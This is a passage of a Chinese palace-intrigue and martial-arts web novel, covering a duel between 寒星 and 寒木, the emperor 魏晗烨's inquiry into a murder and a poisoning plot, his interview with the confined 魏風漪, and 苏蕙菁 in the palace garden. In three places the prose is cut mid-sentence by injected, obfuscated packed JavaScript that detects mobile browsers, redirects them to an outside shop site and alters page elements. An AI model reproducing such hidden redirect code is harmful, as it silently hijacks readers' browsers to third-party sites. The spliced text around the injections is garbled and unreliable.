“好一个‘二两松风知不知’!我今日算是领教了!”寒木回身抄起偃月刀,凌空抡了一个浑圆,“还有两招呢,再来!” 寒星摇头,反手收了剑,“木头,你方才消耗了太多力气,我再和你打就是胜之不武了。” “怎么,瞧不起我?寒星,你今天若是赢不了我,你信不信我马上就去杀了那个席容烟。” “你别逼我。” 寒木挑了挑眉,又往后退了几步,寒星还以为他同意不打了,刚要松一口气,却见寒木一个箭步冲自己迎面劈来,用的正是“霹雳十四式”中的最后一式。 这招“霹雳十四式”势头刚猛,迅如闪电,兼具重量和速度两个优势,刀尖所指之处,响起了一声声闷雷。 寒星来不及拔剑,只能顺着寒木的攻势步步退让,炸起的尘土扬在他的脸上,他素来爱干净,习惯性地抬手抹去颊侧灰尘,却在下一秒就听见帛裂之音,原来是他左手的袍袖被凌空奔涌的气流震开了线。 寒星无暇细思,一面拿眼睛瞄着合适的逃脱点,一面以掌拍出腰间佩剑,他其实有一招“东风破”,和这招“霹雳十四式”同属一类武功,寒木刚才在“业火阵”上费了太多气力,如今使出的“霹雳十四式”虽然看起来吓人,其实内里的力道是不足的,真要打起来,定然拼不过他的“东风破”,但因为寒星只能防,不能攻,所以不得不换种打法。 “霹雳十四式”劲头太盛,寒星并不肯同他正面交锋,而是足尖点地,几个跃步跳出了霹雳包围圈,手中的青霜剑借力打力,将偃月刀的余威拍了回去。 他单手负剑,稳稳落地,“木头,你输了。” 寒木抱刀喘着粗气,眼底有些许的疲惫之色,“寒星,你可知道,我花这许多功夫和你比武,究竟是为了什么。” 寒星点点头,“我知道,你是为了我好。” 寒木嘴角一勾,似是自嘲,“是啊,你也明白这个道理,却还是拼着浑身力气和我相抗,不过是为了一个女人?” “我说过,她不是普通的女人,她是我的妻,她是我的此生至爱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒木又是一怔,在他的记忆里,寒星一向桀骜不驯,哪怕是到了生死关头,寒星的嘴里也从来没有吐出过“求”这个字眼,眼中也从来没有过一星半点的惧意。 可如今,寒木真真切切听到了他说,“我求你”,真真切切看到了他眼睛里大写的“怕”字。 “她对你就这么重要?” “连枝共冢,至死靡它。” “没意思。”寒木撇了撇嘴,把偃月刀反手扛在肩上,“行吧,难得见你求人,我就答应你这一回。” 寒星连忙拱手,“多谢!” “欸欸欸,你先别着急谢我,我可是有条件的。” “什么条件?” “第一,你不要告诉席容烟她的身世,能瞒多久就瞒多久,真瞒不了了再想别的办法。” “好,我答应你。” “第二,第二——”寒木挠了挠头,还是没想出来第二个条件应该说什么。 寒星看着他的模样,突然有点想笑,“第二什么,你倒是说呀。” “第二个条件——”寒木烦躁地摆摆手,“我还没想好,你先欠着,等我想好了再说吧。” “好。” 寒木白他一眼,“答应的这么痛快?你就不怕我到时候提个特别离谱的条件?” 寒星似笑非笑的看着他,“寒木或许会,但是木头不会。” 寒木苦笑,“是啊,我不会。” 寒星拔开杂乱无章的荒草,正要离开,忽然听见寒木叫他,“寒星!” 寒星转过身,“你反悔了?” “不,我只是想提醒你一句,你的武功远在我之上,方才你本不该输的,可你还是输了,这都是因为席容烟。寒星,我不过是提了她一嘴,就能让你方寸大乱,那么来日,如果旁人利用她乱你心智,坏你章法,你又该如何。你那么爱她,如果有一天,席容烟想要害你杀你,你以为你还有逃脱的机会吗。” 寒木往前走了几步,他把手搭在寒星的肩上,“寒星,我可以不伤害她,但我希望你能对她多留个心眼儿。你不会不记得,我们在宰相府是踩着多少人的尸骨,才有机会摸爬滚打出来,有了今日的这番作为,你要惜命啊。” 寒星微一颔首,“你放心,我这个人一向怕死的很。” 寒木笑笑,松开手,大步离去,口中高声哼唱着,“念吾一身——飘然旷野——”[1] 天拥着地,青裹着白,澄明的月光融化在无垠的沙漠中。 寒星枕着手臂,躺在照夜飞矢的背上,抬眸间,万千星河入眼。 “阿烟——”他兀自呢喃,“终是我对不住你,我该如何对你,才算不辜负你——” 90. 青灯古佛下 常德宫。 魏晗烨批了太久的奏章,手腕一时有些发酸,他搁下笔,用右手两指在眉心处按了按。 空中似有暗香浮动,他抬眼寻了一圈,却并未瞧见梅花,不觉诧异道,“如今不过十月光景,哪里来的梅香呢?” 一旁侍奉的秦川笑着回话,“陛下,这并非梅香,而是所焚香料的气味。” 魏晗烨这才注意到殿内的银竹节忍冬纹熏炉中正弥散着絮絮白雾,“朕平素所用,不都是伽南香吗,今日怎么换了这个?” “陛下不喜欢吗,若是陛下不喜,奴才即刻换掉。” 魏晗烨仔细嗅了嗅,“换倒不必了,香入鼻中,先凉后暖,倒也别有一番韵味,这香叫什么名字。” 秦川听他说不必换了,暗自松了一口气,笑道,“此香名唤‘雪中春信’,原为苏东坡所创,后已失传,是苏姑娘遍觅古方,钻研许久才得的。苏姑娘说,此香能清热解毒,滋阳降火,补气纳中,温胃散寒,这才献给了陛下。” 魏晗烨愣了一下,“苏姑娘?什么苏姑娘?” “就是苏方的女儿苏蕙菁呀,陛下您忘了,您前些日子称赞苏方大人方直有度,还升了苏方大人的官呢。” “哦,朕想起来了,去岁赏花宴,就是这个丫头在宫门口对当时的席容皇贵妃出言不逊,闹出了好大的动静,后来被逐出宫去了。” “正是她,太后娘娘最近常召她入宫说话,这香也是苏姑娘托太后娘娘身边的云英姑姑送来的。” “母后?”魏晗烨稍作思量,随即明白了魏太后的用意。前些日子,魏太后说要给他选秀,他虽然答应了下来,心中想的却是眼下离办赏花宴的时节还早,姑且拖着便是,没成想魏太后已经看准了人选,直接把名字给他递了过来,这倒有些难办了。 前朝事忙,魏晗烨心不在此,更何况,他始终惦念着席容烟,即便知道她已嫁做他人妇,一时仍旧难以割舍。他不愿意委屈自己,更不希望委屈了其他姑娘,白白耽误了人家的一生。父皇现成的例子摆在那儿,他又怎能重蹈覆辙。只是母后的意思,他也不能不顾及一二。 “秦川,朕记得两广总督进献了一件紫檀多宝格方匣,这方匣中还存了二三十样珍玩,她们女孩子家喜欢摆弄这些小玩意儿,就把这匣子连带里面的东西,一并赏给苏姑娘吧。” “是。” “对了,李义遇害一案,你和袁青查的如何了?” 秦川哈着腰,“此案关系重大,奴才自知身份低微,怎敢插手其中,一干事宜,全凭袁侍卫裁决定夺,奴才不过是打个下手罢了。” 魏晗烨看他一眼,笑容温和,“你倒乖觉,也罢,传袁青进来吧。” 袁青上前行了个礼,“陛下,属下查验了尸体上的勒痕和伤口,由此推断李公公遇害的时辰约摸是在申时和酉时之间,而这正好是您去隆寿宫陪太后娘娘用晚膳的时间,为保陛下安全,风巽湖一带侍卫把守严密,并无可疑人员出现,除了太后娘娘宫里的人,唯一有可能杀人行凶的就是陛下身边随侍的侍卫和内宦了。” “母后宫里的人一向只听母后的话,母后没有杀害李义的理由啊,这不可能,至于侍卫和内宦——”魏晗烨垂眸转了转大拇指上的白玉扳指,“朕身边的侍卫都是由你安排调度的,而内宦,秦川,你是太监总管,你应该心中有数。” 秦川忙道,“谨遵陛下吩咐,常德宫的宫人都换了一批内务府挑选上来的新人,内务府办事一向妥帖,奴才后来也仔细查了他们的根底,并无不妥之处,另外,奴才已将当晚随行的内宦名册交给了袁侍卫一份,袁侍卫也说没什么问题。” 袁青道,“的确,这些小太监都是刚入宫不久的,估计都不认识李公公是谁,又怎么可能同他结怨,也就更不可能冒险杀人了。” “那侍卫呢?” 袁青一拱手,“这些侍卫跟属下好几年了,属下可以保证,他们几个绝对不会有问题。” 魏晗烨皱了皱眉,“所以,你们什么都没查出来?” 秦川一下子跪倒在地,“奴才无能,还请陛下恕罪。” 袁青道,“倒也不是全无进展,属下调查了好几天,一直有个问题想不明白。” “说。” “李公公侍奉先帝三十余年,行事有度,忠心不二,从未有过什么大的差错,虽然有时可能刚直了些,无意间得罪了一些人,但即便如此,陛下您已然恩准李公公归家养老,凶手就算想杀他,也该等李公公出了宫,再让他无声无息的死在宫外,何必急在这一时呢。” 魏晗烨尚在思索,便听秦川说道,“或许,这凶手不能出宫,所以才要抢在李公公离宫前动手,自然了,这只是奴才的猜测,奴才也想不明白,他究竟为何要杀害李公公。” “不错。”魏晗烨的目光越过秦川,看向袁青,“袁青,你提的这个问题,朕也疑惑过,就算这个人出不了宫,也不该在中宫附近动手,还由着尸体漂浮在水面上,未免太显眼了些,他是生怕别人看不见吗。” “正如陛下所言,凶手此举实在是说不通,属下想了多日,只想到一种可能,除非——” 魏晗烨一笑,“除非这个行凶者根本就不是想杀李义,朕明白了,他打一开始就是冲着朕来的,难怪最近宫里面传出了好些谣言,说什么朕并非先帝属意的继位人选,先帝之意,另有其人,朕一直没把这些话放在心上,直到今日,朕才算想通其中关窍。” “所以凶手特意挑了陛下必经之地下手,就是想把李公公的死推到陛下身上,由此坐实陛下得位不正的传言!”袁青越说越生气,涨红着脸骂道,“好歹毒的心机,好阴险的计谋,真是其心可诛!我就不明白了,这么荒谬的谣言也会有人相信吗!” 魏晗烨凝望着熏炉上空的氤氲香雾,淡淡道,“这世间的荒唐事还少吗?有人传,便会有人信,都说是非自在人心,可这人心,本就是世间最难测之物,又谈何是非呢。大是大非面前,人们深信不疑的,往往只是自己愿意相信的事情罢了。既如此,袁青,你也不必再查李义的事情了,只管顺着谣言挖下去,一定要把这个幕后之人给朕揪出来!” “属下明白!” “袁侍卫真是聪慧过人啊,奴才怎么就没往这上头想呢!还只当是有人同李公公有仇,找他报仇去了,竟没想到这一层,奴才实在该死。” 魏晗烨瞧他还跪在地上,便一抬手,“起来吧。” 秦川谢了恩,魏晗烨扫他一眼,“秦川,朕记得,你原是母后宫中的人,有一次犯了错,正在受罚,恰巧被朕撞见,朕瞧你的样子实在可怜,就向母后求情,把你要了过来。” “是,若不是陛下出手相救,只怕奴才已经死在了那个时候,哪还有性命活到今日。” “母后下手的确狠了些,可她对你还是有恩的吧,不然,你人在常德宫,怎么还会为隆寿宫的事费心筹谋!” 魏晗烨重重拍了一下桌案,震的秦川腿一软,重新跪了回去,“奴才冤枉啊,陛下明察,奴才生是陛下的人,死是陛下的鬼,怎么可能会对您二心呢,奴才就是再愚笨,也断不会干这种糊涂事的。” “那苏姑娘的事,你怎么解释?朕是不是叮嘱过你们,凡是外头送来的物件,都要回禀过朕,再请太医验过才能使用,若朕不在,至少也该和袁青知会一声,可你呢,你自作主张,竟然直接把朕的熏香给换了!” 秦川鼻涕一把泪一把地哭了起来,袁青见状拱手道,“陛下,云英姑姑把熏香送来的那日,您正好在歇中觉,秦公公就同属下说了此事,属下也找周坤问过了,此香确有补气养血之效,只是属下这几日忙着查案,忘记将此事回明陛下了,都是属下之过,还望陛下恕罪。” “原来是这样。”魏晗烨这才知道是自己错怪秦川了,他伸手扶起秦川,“是朕冤枉你了,可是你怎么也不为自己分辩一下?” 秦川仍旧在哭,声音断断续续,“陛下是奴才的主子,陛下做什么奴才都不敢有怨言,别说冤枉奴才了,就是您即刻要砍了奴才的脑袋,奴才也不敢说一个不字。” “哈哈,朕又不是昏君,平白无故的,要你的脑袋做什么,行了,别哭了,去擦把脸,换身衣裳,再来伺候吧。袁青,你随朕去瞧一瞧漪公主。” “是。” 福宁宫。 微风拂过,屋檐下悬挂的铃铎叮当作响。 魏風漪身份贵重,在没有确凿证据的情况下,魏太后就算再不喜欢她,也不能直接将她下狱,于是就把她关在了平日用于诵经礼佛的福宁宫,还留了两个丫鬟伺候她。 魏晗烨并不常来福宁宫,就算来了,也只是略坐一坐,吃盏茶就走,既不审她,也不曾苛待过她,衣食住行,一应还是按照公主的分例来,对于魏風漪来说,除了不能离开福宁宫,她的生活和从前似乎并没有什么不同。 一开始,魏風漪对魏晗烨没什么好脸色,每次都是耐着性子,等他吃完茶走人。渐渐的,她开始期待魏晗烨过来了。福宁宫的日子实在太过无聊,白天还好些,一到晚上,烛火熄了大半,整个大殿立时变得空荡荡的,高高的佛像投下长长的大大的影子,魏風漪怕得不行,只能缩进被子等天亮。 门口的侍卫见魏晗烨来了,连忙请安,“参见陛下。” 魏晗烨抬了抬手,“这几日有可疑的人出现吗?” 两个侍卫对视一眼,纷纷摇头道,“没有。” 魏晗烨便不再说话,一掀袍摆,跨进宫门,袁青紧跟而入。 “陛下想用漪公主做珥,引这幕后之人现身,可都过去这么久了,他怎么这么沉得住气。” “要么就是他瞧出咱们在暗处安排了人手,要么就是魏風漪根本就不知道他的身份,他也无需以身涉险,杀人灭口。” “那咱们接下来该如何行事?” “以不变,应万变,继续命人在暗处盯紧福宁宫,有情况即刻来报。” “属下明白。” 说话间,二人已经进了大殿,两个丫鬟上前行礼,“奴婢给皇上请安。” 自从魏風漪被关进福宁宫,她的身边一直是这两个丫鬟在伺候,魏風漪给她们改了名字,一个叫“香儿”,一个叫“罗儿”。 魏晗烨吩咐其中的一个丫鬟,“老规矩,还是一壶大佛龙井。” “是,奴婢这就去烧水。” 魏風漪跪坐在蒲团上,一言不发,仿佛压根没听见有人进来似的。自打席容皇贵妃薨逝,她便不再穿从前那般明艳的衣裳了,钗环簪珥,更是一洗全无,她浑身上下只套了件素袍,映在光洁的地面上,宛如一朵水墨色的莲花。 魏晗烨静静端详着她寂寥清冷的背影,突然想起她从前一袭红衣,言笑晏晏的样子,一时间竟觉得恍如隔世。 罗儿奉了茶来,“陛下慢用。” “嗯。”魏晗烨托着茶盏,缓缓啜入口中。 茶尽,杯空,他拂了拂衣袖,起身便往外走。 殿内突然传来了魏風漪的声音,“你今日比上次早来了一个时辰。” 魏晗烨止住步子,回身一笑,“漪公主终于肯开口说话了,不容易啊。” “想清楚了,心中也便无挂碍了。”魏風漪扶着蒲团,欠身向他徐徐施了一礼,“皇上,你想问什么就问吧,我一定知无不言,言无不尽。” “皇上。”魏晗烨重复了一遍,嘴角泛起一丝苦笑,“香儿,罗儿,你们退下。” “是。” “漪妹妹如今连一句皇兄都不愿意说了,开口便是皇上。” 魏風漪抬眼看他,眸中一片死寂,漠然道,“天家情谊一向寡淡,夫与妻,父与子之间尚且有那么多的阴谋算计,何况你我这样的异母兄妹了。” “你说的——也有道理——”魏晗烨默了片刻,“那漪公主有什么想要的东西吗,只要你将自己知道的都说出来,朕一定让你得偿所愿。” “哈哈哈,得偿所愿,哈哈哈哈哈哈。”魏風漪几乎笑出了眼泪,她一步一步地逼近他,盯着他的眼睛说道,“我想让母妃死而复生,我想让父皇和她和好如初,我想让一切的一切都从未发生过,我想让时光定格在我一生中最快乐无忧的日子里,魏晗烨,你能办得到吗?” 魏晗烨阖眼叹了口气,“办不到,即便朕是天子,朕也无法让时光倒流。” “哼,那还说什么得偿所愿?” “但朕可以给你平静的生活。” “不用了。”魏風漪抬指抹去眼角的泪痕,深吸了一口气,神情重归于淡漠,“我现在就很平静。” 魏晗烨点点头,“那你想要什么?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502798|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了顿,补充道,“只要朕能做到的,你尽管提。” “我想要一个结果。” “结果?什么结果?” “什么结果都行。”魏風漪仰视着大殿正中的释迦牟尼佛像,脸上挂了丝淡淡的笑意,“事到如今,什么都无所谓了,你杀了我,或者放了我,又或者把我一辈子关在这里都行,我只想有个了结。” 魏晗烨循着她的目光,抬头看向那尊无悲无喜的佛像,他从前来福宁宫,只觉得这佛像庄严肃穆,可现在,他竟在佛的眉眼间感受到了一抹慈悲,“好,朕答应你。” “多谢陛下。”魏風漪朝他施了一礼,缓缓道,“老实说,我并不知道那个人是谁。” 袁青忍不住插嘴,“你耍我们?” “我没有!”魏風漪着急地为自己分辨,“我没骗你们,我是真不知道他是谁,那晚他穿了件黑色的斗篷,宽宽的帽檐遮住了他大半张脸,我根本没看见他长什么样子,问他是谁,他也不说,我和他总共就见过那一次面,其他的我也不知道了。” “那高矮胖瘦,什么声音,你总该有些印象吧?” “那晚没有月亮,到处都是黑漆漆的一片,他的斗篷又长又大,他人又站在树影里,我确实没有看清,他的声音嘛——”魏風漪蹙着眉头,仔细回忆,“我能感觉到他刻意压低了声音,应该是不想让我猜出来他是谁,但我还是觉得,他的声音十分耳熟,我从前仿佛是在哪里听过的,他给我的感觉就像是一位故人。可那晚的风声太大了,所以,我也不敢确定。” “故人?”魏晗烨想了想,问道,“你们在哪里见的面?” “仪鸾宫。” 袁青面露惊讶之色,“仪鸾宫?那地方不是闹鬼吗?” “哼。”魏風漪冷冷瞥了袁青一眼,“没做亏心事,怕什么鬼敲门啊。母妃走了以后,我总在晚上偷偷去给她烧纸钱,被过路的人看见,误以为是鬼火,才有了闹鬼的说法,其实都是以讹传讹罢了,若真有鬼,你们还能好好的活到现在吗。” “你!” 魏晗烨摆摆手,示意袁青噤声,“既然你们此前从未见过,你怎么就甘心为他所驱使呢?把有毒的香料洒在花蕊里,还能做到不让人察觉,朕可不相信,这种阴谋诡计是你能想出来的,难道就因为你恨朕,想要杀朕?” 魏風漪闻言,定定地看着他,认真道,“皇兄,我从来没有想过杀你,我恨的,从始至终只有魏皇后一人,我之所以下毒害你,也是因为那个人说,魏皇后只有你一个儿子,你是她唯一的念想。” 魏晗烨怔了怔,他没料到,她居然会如此说。 袁青道,“就算你一开始没想谋害陛下,可你最后不还是下手了吗?” “我没有!我让香罗问过他了,那点剂量根本害不死人,最多也就是让人神志不清罢了。而且我让香罗给你下的那份是毒性偏弱的,我原本只想害魏皇后来着,是她害死了我的母妃,如果不是她去找母妃说了那些话,母妃就不会伤心欲绝,更不会自寻短见。至于你,我不管你相不相信,我确实没有想要害你。” 袁青心中一动,“你说你给陛下用的药粉是毒性偏弱的?” “是啊。” “可周坤说,陛下宫中菊花的毒性是太后娘娘宫中的数倍不止,如果不是因为赶上雨天,太后娘娘又发现的及时,只怕陛下现在就已经毒入骨髓,疯癫无状了。” “怎会如此——” 魏晗烨回过神来,思忖道,“或许,这个人是想要挟天子以令诸侯,留着母后的性命,他才能名正言顺的坐拥天下。” 袁青又问,“所以毒药都是那个人亲手交给香罗的?” 魏風漪点了点头,又马上摇了摇头,“我不知道,我只是以公主的名头,让香罗去花房取了两次东西,摸清了每盆菊花的摆放位置,具体怎么操作,都是那个人交代香罗的。” “唉!”袁青叹惋道,“可惜香罗咬舌自尽,已经死在了狱中,不然或许还能从她嘴里问出些东西。” 魏風漪低下头,神色黯然,“咬舌自尽,那该有多疼啊,香罗她从前最怕疼了。” “漪妹妹,你再好好想想,还有什么关键的线索没说吗?” “啊,我想起来了,那个人本事很大,大到能把兰鸢从大牢里捞出来,所以我才会相信他能帮我报仇,最后决定同他联手。” “兰鸢?这不可能。”袁青看了一眼魏風漪,又看了一眼魏晗烨,“陛下,牢里的说法是兰鸢和紫藤都死了,她们的尸体都被扔到乱葬岗了,这不可能。” 魏晗烨眯起眼,“大牢,刑部,大理寺,这个案子真是越来越复杂了。” “我知道的都说完了,虽然很多事情我也不清楚,但我今天说的话,句句属实。” 魏晗烨颔首道,“漪妹妹,谢谢你肯说这些,你要的结果朕还没想好,不过你放心,朕会在一周之内给你结果的。” “一周——杀个人还要这么久——” 魏晗烨闻言,轻轻一笑,“谁说朕要杀你了。” “我给你下毒,还差点把你给害死,你居然不杀我?”魏風漪转圈端详着他,“喂,你该不会是已经中毒,脑子坏掉了吧。” “哈哈哈,你要杀我,我就一定要杀你吗?” “难道不是吗,杀人偿命,血债血偿,父债子还,株连九族,古往今来不是一向如此吗?” “当然不是,杀是杀不完的。”魏晗烨叹了口气,“罢了,朕就算说再多,你也听不懂。漪妹妹,你只需要知道,朕不会杀你,相反,朕希望你能好好活着。” 魏風漪像看呆子一样看了他许久,末了说,“晗烨哥哥,你还真是和从前不一样了。” 魏晗烨知道她所说的“从前”,应该是指魏晗煜,于是笑道,“从前如何,如今又如何?” “从前要是有人对你有一丝一毫的不恭敬,你都肯定是要报复回去的,可如今,有人要你的性命,你都可以一笑了之,可不是不一样了吗,何止是不一样,简直就是换了个人。” “人嘛,经历了一些事情,总是会变的,漪妹妹,你不要多想了,人生一世,活着最大。” “人生一世——活着最大——”魏風漪在心中默念了一遍,再抬头时,却见魏晗烨袁青二人已经走远了。 91. 一曲流觞误 时值深秋,御花园草木凋零,魏晗烨穿行其间,心下苍凉。 袁青捉摸着魏風漪方才说的话,仍是百思不得其解,“陛下,您说给您下毒的这个凶手,和杀害李公公的凶手,会不会是同一个人啊?如果是同一个人,那杀李公公的时候,他明明就在宫中,毒药也在他的手里,为什么还要找漪公主帮忙呢,这种事不是知道的人越少越好吗。如果不是同一个人,这两件事几乎同时发生,又都是冲着陛下您来的,也实在太巧了。” “不管是不是同一个人,这两个案子的凶手都是为了同一个目的。” 袁青恍然大悟,脱口而出,“是皇位!他们的目的都是皇位!” “不错,漪公主说,那个人的声音听起来十分耳熟,她是公主,自小养在宫里,能接触到的男人除了父皇,就是朕的这些异母兄弟了,袁青,宫中已过束发之年的皇子都有谁?” “先帝膝下子嗣单薄,病的病,死的死,算起来也就是贤太妃所生的魏晗安、魏晗远,郑太妃所生的魏晗明,英太嫔所生的魏晗山已经成童了,还有两位皇子因为生母身份低微,一直养在行宫,他们没有机会进宫。哦对了!”袁青猛然想起一事,“王贵人的儿子魏晗绮!风巽湖对岸的银花宫从前可不就是王贵人住的吗,我明白了,一定是他们母子干的!” “魏晗绮,朕记得他,朕小时候和他打过一架。” “所以,魏晗绮因为此事一直记恨陛下,他的母妃又记恨太后娘娘,所以他们母子才会下毒杀人。对,就是他们!” 魏晗烨凝神想了一阵,末了摇头道,“不对,不对。” “啊?哪里不对,这么多证据都指向了他们,除了他们还能有谁。” “就是因为这么多证据都指向了他们,所以才不对,这太刻意了。这两个案子涉及前朝后宫,牵连甚广,只怕刑部和大理寺的人都脱不开干系,而魏晗绮的生母不过是一个舞姬,因为舞姿出众才被父皇看中,纳入后宫,那魏晗绮更是什么都不会,他们母子二人一无家世,二无才干,就算真的害死了朕,他们也绝无上位的可能。如果真是他们,他们这般费心筹谋,难道就是为了替他人做嫁衣裳吗。” “可是肃安王对陛下素来恭谨,哲远王更是闲云野鹤一样的人物,郑太妃、英太嫔都与太后娘娘交好,难不成,是他们其中的某个人?” 魏晗烨没有说话,他凝视着树梢末端的一叶枯黄在风中瑟瑟而动,半晌方道,“这一年发生了太多事,席容炎身死,席容皇贵妃自尽,他们在朝中经营多年的局面随之土崩瓦解,西域从前的汗王苏里唐死于内乱,新继位的可汗却和宰相府有着千丝万缕的联系,还拐走了朕喜欢的女人。如今,父皇也驾鹤西去了,朕曾以为,从前的是非对错,恩恩怨怨都会随着这些人的离去得到了结。可惜,树欲静而风不止。” 他笑了笑,继续说,“父皇曾对朕说,他给朕留下了还算太平的天下,还算稳定的朝局,父皇还说,朕和他不同,朕可以成为一个好皇帝,一个不必手染鲜血的好皇帝。可朕今日才发现,这个看似风平浪静的朝堂之下,隐藏着不为人知的滔天巨浪。” 袁青道,“陛下是怕有人觊觎您的皇位?” “不,朕怕的是自己。” “属下不明白。” 魏晗烨叹了口气,缓声道,“朕怕自己在这个位置待得越久,就会生出越来越大的疑心,朕怕自己滥用这份至高无上的权柄,残害手足,滥杀无辜,冤死忠臣,朕怕自己最后也会满手鲜血,更怕自己会像父皇一样,有无尽的后悔,许多的遗憾,有那么多的不得已,没奈何。” “陛下与先帝,终是不同的。” “是吗。”魏晗烨看了眼袁青,淡淡一笑,“或许吧,朕也希望自己不要忘了来时路,去时心。” 袁青试探着问,“那,这两个案子还查吗?” “查,当然要查,朕不会纵容自己的疑心,更不会由着人乱朕的江山!” 风乍起,那一叶枯黄簌簌而落,掩没在一地的残败萧条之中,不过一眨眼的工夫,就再也看不见了。 御花园。 百灵鸟的叫声飘洒在淡蓝色的暖风中,清脆而又悠扬。 苏蕙菁穿了一件葱绿色的交织绫斜襟锦衣,下着一条柳黄撒花百褶裙,她在石径小路间蹦蹦跳跳,头上插的碧玉簪子跟着她的脚步一晃一晃的,几乎马上就要掉下来了。 丫鬟青儿抱着沉甸甸的紫檀多宝格方匣,闷闷不乐的跟在后头。 “青儿,你别总是一副愁眉苦脸的表情,跟本小姐欠了你月例银子似的。” “大小姐,你不是刚被太后娘娘斥责过吗,怎么还能笑得这么开心?” 苏蕙菁一脸无所谓,“太后娘娘斥责我,那是因为她不开心,可她不开心,我也要跟着她不开心吗?我才不管她开不开心呢,本小姐自己开心最重要!” 青儿不禁哑然,“呃,小姐你还真是想得开,不过话说回来,皇上赏了小姐这么贵重的物件儿,太后娘娘为什么要生气呢?” “这个嘛——”苏蕙菁拍掉手上沾染的泥土,随意找了块儿石头坐下,“那自然是因为皇上没看上我喽,太后娘娘看中了我的家世,想让我入宫侍奉皇上,可皇上呢,赏了我这么一份厚礼,却没有召见我,摆明了是没瞧上我的意思。太后娘娘一番心思落了空,可不是要生气的,她又不能去常德宫数落她的亲儿子,就只能拿本小姐这个倒霉蛋撒气喽。” “原来是这样。”青儿恍然大悟,随即又问,“可皇上没相中小姐,小姐你就不伤心吗?” “当然不伤心啦,不但不伤心,我还很开心呢!”苏蕙菁灿烂一笑,抬腿踢着碎石子儿,“我呀,巴不得他没相中我,他要是相中了我,我就得入宫了。入宫多没意思啊,就像是把天上的鸟儿关进了笼子里,一点自由都没有了,我才不要呢。而且父亲就我一个女儿,你说我要是入宫了,那以后谁照顾他呀。” “可是小姐你就算不入宫,早晚也得嫁人啊,你总不可能一辈子待在家里吧。” “以后的事情以后再说喽,没有必要为了无法预测的将来,就放弃现在的美好呀。” “小姐你说的……”青儿努力想了半日,终于找到了一个合适的词语,“倒是也有一番不寻常的道理……” 苏蕙菁得意地冲青儿扬了一下脸,“那当然了,本小姐虽然不是学富五车,才高八斗,但也是正经念过书的人,自然有我的一番道理。” “念过书?”青儿吐了吐舌头,忍不住偷笑起来,“哈哈,小姐你还好意思说自己念过书?老爷前前后后,给你请了那么多的西席先生,有哪个在府里教书超过三日的,最后还不是都被小姐你给气走了,那一本《女论语》,你到现在都没翻开过第二页。” “那还不是因为书里写的那些东西太无聊了,我根本就读不下去,而且说的一点道理都没有,什么‘行莫回头,语莫掀唇’,还有那个,‘喜莫大笑,怒莫高声’,这也不行那也不行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502799|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真真烦死人了。要是真按书上讲的那样,干脆做个活死人得了,活着还有什么趣儿。”[1] 苏蕙菁越说声音越高,青儿赶紧上前捂住了她的嘴,“小姐,这里可是皇宫,比不得你在府里想说什么就说什么,你忘记老爷的叮嘱了吗,谨言慎行!” 苏蕙菁重重拍了一下她的手背,含混不清地嘟囔,“越发没规矩了,给我松开。” 青儿吃痛,只得撤了手,嘴里却还念叨着“谨言慎行”四个字。 苏蕙菁继续说道,“虽然呢,我不太擅长读书。” “小姐你心里知道就好。” 苏蕙菁白她一眼,“闭嘴!” 青儿乖巧地点点头,“嗯,我闭嘴,小姐你继续说。” “虽然呢,我不太擅长读书,但是吧,我觉得我在一些没用的事情上还是很有天赋的,比如说调香啊,听琴啊,青儿,我说的对不对!” “确实,可这两样不都是夫人手把手教你的吗,也不是天赋啊。而且这琴嘛,小姐你只会听,不会弹,有什么用啊。” “错!大错特错!这世上会弹琴的人千千万,可会听的人就少之又少了,你没听过高山流水遇知音的故事吗,那个伯牙琴技那么高超,可那又有什么用呢,每个人都说他弹得好,可没有一个人知道他弹的到底是什么,直到伯牙遇到了钟子期,他的琴技才不算被辜负。” 青儿歪着脑袋琢磨了半日,突然没头没脑的唤了声,“小姐。” “嗯?” “虽然你有时候说话有些不着边际,但是我觉得吧,你的话还真是有些道理,我可没恭维你啊,这是实话,我真这么觉得。” “哼,那是当然,本小姐的学问大着呢,只可惜,我平日跟你们说的好话,你们都不听。” “嗯嗯嗯,是是是。”青儿敷衍地点着头,突然,她微微扬起脸,奇道,“欸,小姐,你听这声音,好像有人在弹琴呢。” 苏蕙菁侧耳细听,“还真是。” “小姐,这个人弹得是什么曲子呀,我听着怪生的。” “这首曲子应该是叫《流觞》……不对……”苏蕙菁蹙了蹙眉,“《流觞》的曲调平和悠扬,可这个人的琴声中明显藏着心事。” 她又认真听了一阵,忽然拊掌笑了起来,“哈哈哈,我明白了,妙,实在是妙!” 青儿不明所以,“小姐笑什么?” “我笑啊,我笑这个人想弹《酒狂》却不敢,只能弹和《酒狂》指法相似的《流觞》,以此派遣心中苦闷,可是乐由心生,指随意往,他弹着弹着便不自觉代入了《酒狂》的情感,有趣,真是太有趣了,我一定要去会会这个弹琴的人。” 